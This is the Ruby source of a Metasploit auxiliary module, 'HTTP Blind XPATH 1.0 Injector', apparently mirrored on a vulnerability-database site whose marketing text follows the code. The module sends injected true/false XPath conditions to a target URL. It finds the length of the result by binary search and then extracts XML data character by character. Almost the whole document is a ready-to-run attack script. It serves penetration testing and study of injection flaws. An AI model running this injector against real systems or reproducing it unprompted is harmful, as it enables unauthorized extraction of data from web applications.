`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanDir
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Blind XPATH 1.0 Injector',
'Description' => %q{
This module exploits blind XPATH 1.0 injections over HTTP GET requests.
},
'Author' => [ 'et [at] metasploit . com' ],
'License' => BSD_LICENSE))
register_options(
[
OptString.new('METHOD', [ true, "HTTP Method",'GET']),
OptString.new('PATH', [ true, "The URI Path", '/vulnerable.asp']),
OptString.new('PRE_QUERY', [ true, "Pre-injection HTTP URI Query", 'p1=v1&p2=v2&p3=v3']),
OptString.new('POST_QUERY', [ false, "Post-injection HTTP URI Query", ' ']),
OptString.new('ERROR_MSG', [ true, "False error message", 'Server Error']),
OptString.new('XCOMMAND', [ false, "XPath command to execute (Default for all XML doc)", '//*']),
OptInt.new('MAX_LEN', [ true, "Maximum string length", 20000]),
OptBool.new('MAX_OVER', [ true, "Dont detect result size. Use MAX_LEN instead", true ]),
OptBool.new('CHKINJ', [ false, "Check XPath injection with error message", false ]),
OptBool.new('DEBUG_INJ', [ false, "Debug XPath injection", true ])
])
end
def wmap_enabled
false
end
def run_host(ip)
#
# Max string len
#
maxstr = datastore['MAX_LEN']
conn = true
rnum=rand(10000)
# Weird crap only lower case 'and' operand works
truecond = "'%20and%20'#{rnum}'='#{rnum}"
falsecond = "'%20and%20'#{rnum}'='#{rnum+1}"
hmeth = datastore['METHOD']
tpath = normalize_uri(datastore['PATH'])
prequery = datastore['PRE_QUERY']
postquery = datastore['POST_QUERY']
emesg = datastore['ERROR_MSG']
xcomm = datastore['XCOMMAND']
print_status("Initializing injection.")
if datastore['CHKINJ']
#
# Detect error msg in true condition
#
begin
res = send_request_cgi({
'uri' => tpath,
'query' => "#{prequery}#{falsecond}#{postquery}",
'method' => hmeth
}, 20)
return if not res
if res.body.index(emesg)
print_status("False statement check done.")
else
print_error("Error message not included in false condition.")
return
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
conn = false
rescue ::Timeout::Error, ::Errno::EPIPE
end
#
# Detect error msg in false condition
#
begin
res = send_request_cgi({
'uri' => tpath,
'query' => "#{prequery}#{truecond}#{postquery}",
'method' => hmeth
}, 20)
return if not res
if res.body.index(emesg)
print_error("Error message included in true condition.")
return
else
print_status("True statement check done.")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
conn = false
rescue ::Timeout::Error, ::Errno::EPIPE
end
return if not conn
end
#
# Find length of command result
#
low = 1
high = maxstr
if datastore['MAX_OVER']
print_status("Max. limit set to #{maxstr} characters")
reslen = maxstr
else
lenfound = false
while !lenfound do
middle = (low + high) / 2;
if datastore['DEBUG_INJ']
print_status("Length Low: #{low} High: #{high} Med: #{middle}")
end
injlen = "'%20and%20string-length(#{xcomm})=#{middle}%20and%20'#{rnum}'='#{rnum}"
begin
res = send_request_cgi({
'uri' => tpath,
'query' => "#{prequery}#{injlen}#{postquery}",
'method' => hmeth
}, 20)
return if not res
if res.body.index(emesg)
lenf = false
else
lenfound = true
lenf = true
lens = middle
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
conn = false
rescue ::Timeout::Error, ::Errno::EPIPE
end
if !lenf
injlen = "'%20and%20string-length(#{xcomm})<#{middle}%20and%20'#{rnum}'='#{rnum}"
begin
res = send_request_cgi({
'uri' => tpath,
'query' => "#{prequery}#{injlen}#{postquery}",
'method' => hmeth
}, 20)
return if not res
if res.body.index(emesg)
low = middle
else
high = middle
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
conn = false
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
print_status("Result size: #{lens}")
reslen = lens.to_i
end
#
# Execute xpath command and guess response
#
namestr = []
numchr = 0
for i in (1..reslen)
#
# Only alpha range
#
for k in (32..126)
j = "%"+("%x" % k)
# For Xpath 2.0 Blind search may be performed using a fast binary search using the
# string-to-codepoints(string) function
# injlen = "'%20and%20string-to-codepoints(substring(#{xcomm},#{i},1))<#{k}%20and%20'#{rnum}'='#{rnum}"
# Basic Blind XPath 1.0 Injection
injlen = "'%20and%20substring(#{xcomm},#{i},1)=\"#{j}\"%20and%20'#{rnum}'='#{rnum}"
begin
res = send_request_cgi({
'uri' => tpath,
'query' => "#{prequery}#{injlen}#{postquery}",
'method' => hmeth
}, 20)
return if not res
if res.body.index(emesg)
# neeeeext
else
if(numchr >= maxstr)
# maximum limit reached
print_status("#{xcomm}: #{namestr}")
print_status("Maximum string length reached.")
return
end
numchr+=1
comperc = (numchr * 100) / maxstr
namestr << "#{k.chr}"
if datastore['DEBUG_INJ']
print_status("#{comperc}%: '#{k.chr}' #{namestr}")
end
break
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
conn = false
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
print_status("#{xcomm}: #{namestr}")
print_status("Done.")
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation